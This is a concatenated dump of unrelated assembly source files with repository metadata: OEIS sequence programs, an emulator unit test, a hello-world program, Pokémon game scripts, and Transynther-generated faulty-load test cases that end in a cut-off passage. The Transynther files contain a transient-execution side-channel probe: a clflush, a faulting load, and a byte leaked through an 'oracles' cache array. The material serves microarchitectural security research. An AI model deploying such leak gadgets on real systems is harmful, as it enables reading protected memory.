{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': True}}
{'51': 8}
51 51 51 51 51 51 51 51
*/
| 19.834171
| 147
| 0.64378
|
4e21fd3b24cf7ec603ada5555fcbbf32466b794a
| 699
|
asm
|
Assembly
|
oeis/057/A057091.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/057/A057091.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/057/A057091.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A057091: Scaled Chebyshev U-polynomials evaluated at i*sqrt(2). Generalized Fibonacci sequence.
; Submitted by Jon Maiga
; 1,8,72,640,5696,50688,451072,4014080,35721216,317882368,2828828672,25173688320,224020135936,1993550594048,17740565839872,157872931471360,1404907978489856,12502247279689728,111257242065436672,990075914761011200,8810665254611582976,78405929354980753408,697732756876738691072,6209109489853755555840,55254737973843953975296,491710779709581676249088,4375724141467405041795072,38939479369415893744353280,346521628087066390289186816,3083688859651858272268320768,27441683901911397300460060672
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,$2
mul $3,8
lpe
mov $0,$3
| 49.928571
| 486
| 0.849785
|
cd6272462b2d84ea9b8a3d9bd01db92c81f96446
| 2,102
|
asm
|
Assembly
|
programs/oeis/101/A101338.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/101/A101338.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/101/A101338.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A101338: Antidiagonal sums in A101321.
; 1,2,4,9,20,41,77,134,219,340,506,727,1014,1379,1835,2396,3077,3894,4864,6005,7336,8877,10649,12674,14975,17576,20502,23779,27434,31495,35991,40952,46409,52394,58940,66081,73852,82289,91429,101310,111971,123452,135794,149039,163230,178411,194627,211924,230349,249950,270776,292877,316304,341109,367345,395066,424327,455184,487694,521915,557906,595727,635439,677104,720785,766546,814452,864569,916964,971705,1028861,1088502,1150699,1215524,1283050,1353351,1426502,1502579,1581659,1663820,1749141,1837702,1929584,2024869,2123640,2225981,2331977,2441714,2555279,2672760,2794246,2919827,3049594,3183639,3322055,3464936,3612377,3764474,3921324,4083025,4249676,4421377,4598229,4780334,4967795,5160716,5359202,5563359,5773294,5989115,6210931,6438852,6672989,6913454,7160360,7413821,7673952,7940869,8214689,8495530,8783511,9078752,9381374,9691499,10009250,10334751,10668127,11009504,11359009,11716770,12082916,12457577,12840884,13232969,13633965,14044006,14463227,14891764,15329754,15777335,16234646,16701827,17179019,17666364,18164005,18672086,19190752,19720149,20260424,20811725,21374201,21948002,22533279,23130184,23738870,24359491,24992202,25637159,26294519,26964440,27647081,28342602,29051164,29772929,30508060,31256721,32019077,32795294,33585539,34389980,35208786,36042127,36890174,37753099,38631075,39524276,40432877,41357054,42296984,43252845,44224816,45213077,46217809,47239194,48277415,49332656,50405102,51494939,52602354,53727535,54870671,56031952,57211569,58409714,59626580,60862361,62117252,63391449,64685149,65998550,67331851,68685252,70058954,71453159,72868070,74303891,75760827,77239084,78738869,80260390,81803856,83369477,84957464,86568029,88201385,89857746,91537327,93240344,94967014,96717555,98492186,100291127,102114599,103962824,105836025,107734426,109658252,111607729,113583084,115584545,117612341,119666702,121747859,123856044,125991490,128154431,130345102,132563739,134810579,137085860,139389821,141722702,144084744,146476189,148897280,151348261,153829377,156340874,158882999,161456000
add $0,2
mov $1,$0
mov $2,$0
bin $2,4
add $1,$2
sub $1,1
| 210.2
| 2,002
| 0.862512
|
36e9a0cbf97158630df3b9afcafadadd20c3f106
| 700
|
asm
|
Assembly
|
unittests/ASM/PrimaryGroup/1_81_01.asm
|
cobalt2727/FEX
|
13087f8425aeaad28dc81bed46a83e1d72ff0db8
|
[
"MIT"
] | 628
|
2020-03-06T14:01:32.000Z
|
2022-03-31T06:35:14.000Z
|
unittests/ASM/PrimaryGroup/1_81_01.asm
|
cobalt2727/FEX
|
13087f8425aeaad28dc81bed46a83e1d72ff0db8
|
[
"MIT"
] | 576
|
2020-03-06T08:25:12.000Z
|
2022-03-30T04:05:29.000Z
|
unittests/ASM/PrimaryGroup/1_81_01.asm
|
cobalt2727/FEX
|
13087f8425aeaad28dc81bed46a83e1d72ff0db8
|
[
"MIT"
] | 38
|
2020-03-07T06:10:00.000Z
|
2022-03-29T09:27:36.000Z
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x4142434465664748",
"RBX": "0x515253547576777C",
"RCX": "0x616263646566676C",
"RDX": "0xFFFFFFFFFFFFFF68"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 3], rax
or word [rdx + 8 * 0 + 2], 0x6162
or dword [rdx + 8 * 1 + 0], 0x61626364
or qword [rdx + 8 * 2 + 0], 0x61626364
or qword [rdx + 8 * 3 + 0], -256
mov rax, [rdx + 8 * 0]
mov rbx, [rdx + 8 * 1]
mov rcx, [rdx + 8 * 2]
mov rdx, [rdx + 8 * 3]
hlt
| 17.948718
| 38
| 0.597143
|
00ebc8bf0668f4d7bc9fe66ccddce90fd31d8033
| 748
|
asm
|
Assembly
|
oeis/265/A265319.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/265/A265319.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/265/A265319.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A265319: Binary representation of the n-th iteration of the "Rule 102" elementary cellular automaton starting with a single ON (black) cell.
; Submitted by Jon Maiga
; 1,110,10100,1111000,100010000,11001100000,1010101000000,111111110000000,10000000100000000,1100000011000000000,101000001010000000000,11110000111100000000000,1000100010001000000000000,110011001100110000000000000,10101010101010100000000000000,1111111111111111000000000000000,100000000000000010000000000000000,11000000000000001100000000000000000,1010000000000000101000000000000000000,111100000000000011110000000000000000000,10001000000000001000100000000000000000000
mov $1,$0
seq $0,6943 ; Rows of Sierpiński's triangle (Pascal's triangle mod 2).
lpb $1
mul $0,10
sub $1,1
lpe
| 68
| 463
| 0.86631
|
557bca9948d397b4f7b6d20b897a78b48450fee1
| 521
|
asm
|
Assembly
|
5_KTMT_HN/self-learn/hello/hello.asm
|
SummerSad/HCMUS-Lectures
|
b376e144e2601a73684e2ff437ab5c94a943909c
|
[
"MIT"
] | 8
|
2020-05-11T09:48:40.000Z
|
2022-03-28T13:43:27.000Z
|
5_KTMT_HN/self-learn/hello/hello.asm
|
SummerSad/HCMUS-Lectures
|
b376e144e2601a73684e2ff437ab5c94a943909c
|
[
"MIT"
] | null | null | null |
5_KTMT_HN/self-learn/hello/hello.asm
|
SummerSad/HCMUS-Lectures
|
b376e144e2601a73684e2ff437ab5c94a943909c
|
[
"MIT"
] | 4
|
2021-04-13T04:01:50.000Z
|
2021-12-10T01:12:15.000Z
|
section .data ; declaring constants
msg db "Hello world", 10 ; 10 is newline
section .text ; for code
global _start
_start:
; write(1, msg, 13)
mov rax, 1 ; system call 1 is write
mov rdi, 1 ; 1 is stdout
mov rsi, msg ; address of string
mov rdx, 13 ; number of bytes
syscall ; make os system call
; exit(0)
mov rax, 60 ; system call 60 is exit
mov rdi, 0 ; exit code 0
syscall
| 28.944444
| 55
| 0.512476
|
6b63bb484fa79ca2fa55244e5ad439774165b9d9
| 776
|
asm
|
Assembly
|
data/pokemon/base_stats/abomasnow.asm
|
TastySnax12/pokecrystal16-493-plus
|
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
|
[
"blessing"
] | 2
|
2021-07-31T07:05:06.000Z
|
2021-10-16T03:32:26.000Z
|
data/pokemon/base_stats/abomasnow.asm
|
TastySnax12/pokecrystal16-493-plus
|
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
|
[
"blessing"
] | null | null | null |
data/pokemon/base_stats/abomasnow.asm
|
TastySnax12/pokecrystal16-493-plus
|
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
|
[
"blessing"
] | 3
|
2021-01-15T18:45:40.000Z
|
2021-10-16T03:35:27.000Z
|
db 0 ; species ID placeholder
db 90, 92, 75, 60, 92, 85
; hp atk def spd sat sdf
db GRASS, ICE ; type
db 60 ; catch rate
db 173 ; base exp
db NO_ITEM, NEVERMELTICE ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/abomasnow/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_SLOW ; growth rate
dn EGG_PLANT, EGG_MONSTER ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ROCK_SMASH, HIDDEN_POWER, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, RAIN_DANCE, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, IRON_TAIL, EARTHQUAKE, RETURN, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, REST, ATTRACT, STRENGTH, FLASH, ICE_BEAM
; end
| 35.272727
| 313
| 0.724227
|
532d57d75629ebf946fd98ca351ec297a31fc2cf
| 3,415
|
asm
|
Assembly
|
scripts/viridiancity2.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
scripts/viridiancity2.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
scripts/viridiancity2.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
Func_f18bb:
ld hl, ViridianCityText_f18c2
call PrintText
ret
ViridianCityText_f18c2:
TX_FAR _ViridianCityText1
db "@"
Func_f18c7:
ld hl, ViridianCityText_f18e4
ld a, [wObtainedBadges]
cp $7f ; all but EARTHBADGE
jr z, .asm_f18db
CheckEvent EVENT_BEAT_VIRIDIAN_GYM_GIOVANNI
jr nz, .asm_f18db
ld hl, ViridianCityText_f18df
.asm_f18db
call PrintText
ret
ViridianCityText_f18df:
TX_FAR _ViridianCityText_19122
db "@"
ViridianCityText_f18e4:
TX_FAR _ViridianCityText_19127
db "@"
Func_f18e9:
ld hl, ViridianCityText_f1902
call PrintText
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
ld hl, ViridianCityText_f1907
jr nz, .asm_f18fe
ld hl, ViridianCityText_f190c
.asm_f18fe
call PrintText
ret
ViridianCityText_f1902:
TX_FAR _ViridianCityText_1914d
db "@"
ViridianCityText_f1907:
TX_FAR _ViridianCityText_19152
db "@"
ViridianCityText_f190c:
TX_FAR _ViridianCityText_19157
db "@"
Func_f1911:
ld hl, ViridianCityText_f1927
CheckEvent EVENT_GOT_POKEDEX
jr nz, .asm_f191e
ld hl, ViridianCityText_f1922
.asm_f191e
call PrintText
ret
ViridianCityText_f1922:
TX_FAR _ViridianCityText_19175
db "@"
ViridianCityText_f1927:
TX_FAR _ViridianCityText_1917a
db "@"
Func_f192c:
ld hl, ViridianCityText_f1945
call PrintText
call StartSimulatingJoypadStates
ld a, $1
ld [wSimulatedJoypadStatesIndex], a
ld a, D_DOWN
ld [wSimulatedJoypadStatesEnd], a
ld a, $5
ld [wViridianCityCurScript], a
ret
ViridianCityText_f1945:
TX_FAR _ViridianCityText_19191
db "@"
Func_f194a:
CheckEvent EVENT_GOT_TM42
jr nz, .asm_f1972
ld hl, ViridianCityText_f1979
call PrintText
lb bc, TM_42, 1
call GiveItem
jr nc, .asm_f196b
ld hl, ViridianCityText_f197e
call PrintText
SetEvent EVENT_GOT_TM42
ret
.asm_f196b
ld hl, ViridianCityText_f1989
call PrintText
ret
.asm_f1972
ld hl, ViridianCityText_f1984
call PrintText
ret
ViridianCityText_f1979:
TX_FAR _ViridianCityText_191ca
db "@"
ViridianCityText_f197e:
TX_FAR _ReceivedTM42Text
TX_SFX_CONGRATS
db "@"
ViridianCityText_f1984:
TX_FAR _TM42Explanation
db "@"
ViridianCityText_f1989:
TX_FAR _TM42NoRoomText
db "@"
Func_f198e:
ld hl, ViridianCityText_f19b6
call PrintText
ld c, 2
call DelayFrames
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jr nz, .asm_f19af
ld hl, ViridianCityText_f19bb
call PrintText
ld a, $3
ld [wViridianCityCurScript], a
jr .asm_f19b5
.asm_f19af
ld hl, ViridianCityText_f19c0
call PrintText
.asm_f19b5
ret
ViridianCityText_f19b6:
TX_FAR _OldManAgainText1
db "@"
ViridianCityText_f19bb:
TX_FAR _OldManAgainText2
db "@"
ViridianCityText_f19c0:
TX_FAR _OldManAgainText3
db "@"
Func_f19c5:
ld hl, ViridianCityText_f19cc
call PrintText
ret
ViridianCityText_f19cc:
TX_FAR _ViridianCityText8
db "@"
Func_f19d1:
ld hl, ViridianCityText_f19d8
call PrintText
ret
ViridianCityText_f19d8:
TX_FAR _ViridianCityText9
db "@"
Func_f19dd:
ld hl, ViridianCityText_f19e4
call PrintText
ret
ViridianCityText_f19e4:
TX_FAR _ViridianCityText10
db "@"
Func_f19e9:
ld hl, ViridianCityText_f19f0
call PrintText
ret
ViridianCityText_f19f0:
TX_FAR _ViridianCityText13
db "@"
Func_f19f5:
ld hl, ViridianCityText_f19fc
call PrintText
ret
ViridianCityText_f19fc:
TX_FAR _ViridianCityText14
db "@"
Func_f1a01:
ld hl, Data_f1a0a
ld b, SPRITE_FACING_RIGHT
call TryApplyPikachuMovementData
ret
Data_f1a0a:
db $00
db $1d
db $1f
db $38
db $3f
| 15.593607
| 44
| 0.792972
|
671f46833b2b8bd2bde5559ad9ee00cc28df15b0
| 452
|
asm
|
Assembly
|
programs/oeis/055/A055247.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/055/A055247.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/055/A055247.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A055247: Related to A055246 and A005836. Used for boundaries of open intervals which have to be erased in the Cantor middle third set construction.
; 1,2,7,8,19,20,25,26,55,56,61,62,73,74,79,80,163,164,169,170,181,182,187,188,217,218,223,224,235,236,241,242,487,488,493,494,505,506,511,512,541,542,547,548,559,560,565,566,649,650,655,656
mov $1,$0
gcd $0,2
seq $1,5823 ; Numbers whose ternary expansion contains no 1's.
add $1,$0
mov $0,$1
sub $0,1
| 45.2
| 189
| 0.730088
|
5caff48e464763ce91c80203dc45aadbfc894538
| 6,003
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_4440_2743.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_4440_2743.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_4440_2743.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x13320, %rdx
nop
dec %rax
movl $0x61626364, (%rdx)
nop
nop
and $33202, %rdx
lea addresses_UC_ht+0x112e0, %r10
nop
nop
nop
xor $15242, %r11
mov $0x6162636465666768, %r12
movq %r12, %xmm1
vmovups %ymm1, (%r10)
cmp $10111, %r11
lea addresses_WC_ht+0x149e0, %r10
inc %r15
mov $0x6162636465666768, %r8
movq %r8, (%r10)
nop
nop
nop
nop
and $42989, %r10
lea addresses_WT_ht+0x1600, %rsi
lea addresses_WC_ht+0xabe0, %rdi
nop
nop
nop
nop
add $53392, %r11
mov $63, %rcx
rep movsq
nop
nop
add $29729, %r8
lea addresses_WC_ht+0xd298, %rdi
nop
nop
nop
nop
nop
cmp $64113, %r12
movl $0x61626364, (%rdi)
nop
inc %rdi
lea addresses_UC_ht+0x153e0, %rsi
nop
sub $17504, %r15
movups (%rsi), %xmm0
vpextrq $1, %xmm0, %rax
nop
dec %r8
lea addresses_WC_ht+0xb380, %rax
nop
and %rdi, %rdi
movb (%rax), %r11b
nop
cmp $6159, %r12
lea addresses_WT_ht+0x177e0, %rsi
lea addresses_WT_ht+0x4ce0, %rdi
nop
nop
nop
nop
and %r12, %r12
mov $35, %rcx
rep movsl
nop
sub $53454, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rdi
// Faulty Load
mov $0x7ff2f30000000be0, %r13
clflush (%r13)
nop
nop
nop
nop
nop
add $39194, %r8
vmovntdqa (%r13), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r15
lea oracles, %rdi
and $0xff, %r15
shlq $12, %r15
mov (%rdi,%r15,1), %r15
pop %rdi
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'48': 1, '49': 4372, '00': 55, '47': 11, '6b': 1}
49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 47 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 49 49 49 49 49 49 00 49 49 49 47 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49
*/
| 41.4
| 2,999
| 0.658171
|
2c17730b578b62f5d2cc130420d91417e69966b9
| 6,025
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_67.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_67.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_67.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x10b1c, %rsi
lea addresses_A_ht+0x4da4, %rdi
nop
nop
cmp $24053, %r15
mov $36, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_WT_ht+0x5e47, %rsi
lea addresses_WT_ht+0x1c99c, %rdi
lfence
mov $78, %rcx
rep movsw
nop
nop
cmp $51167, %r8
lea addresses_D_ht+0x1a47c, %r10
cmp %rsi, %rsi
mov $0x6162636465666768, %r15
movq %r15, (%r10)
nop
nop
nop
nop
nop
xor $41944, %rdi
lea addresses_WC_ht+0x17d9c, %r15
sub $30630, %r12
movl $0x61626364, (%r15)
nop
cmp %rdi, %rdi
lea addresses_D_ht+0xaa9c, %r10
nop
nop
nop
nop
nop
and $44469, %r8
movb (%r10), %r15b
nop
nop
nop
nop
xor $62631, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %r9
push %rcx
push %rdi
// Store
lea addresses_UC+0xb5ac, %rdi
nop
nop
nop
xor %r14, %r14
movl $0x51525354, (%rdi)
nop
nop
nop
inc %r9
// Load
lea addresses_WT+0x159ac, %r15
cmp $449, %r11
movb (%r15), %r14b
xor %r9, %r9
// Load
mov $0x54998b000000029c, %r15
nop
and %rcx, %rcx
mov (%r15), %r10d
nop
nop
nop
nop
nop
dec %r14
// Load
lea addresses_A+0x1bbb4, %rcx
nop
xor $27768, %rdi
movb (%rcx), %r9b
nop
nop
nop
sub $29787, %r15
// Faulty Load
lea addresses_UC+0x5a9c, %rdi
nop
xor %r11, %r11
mov (%rdi), %r15
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}}
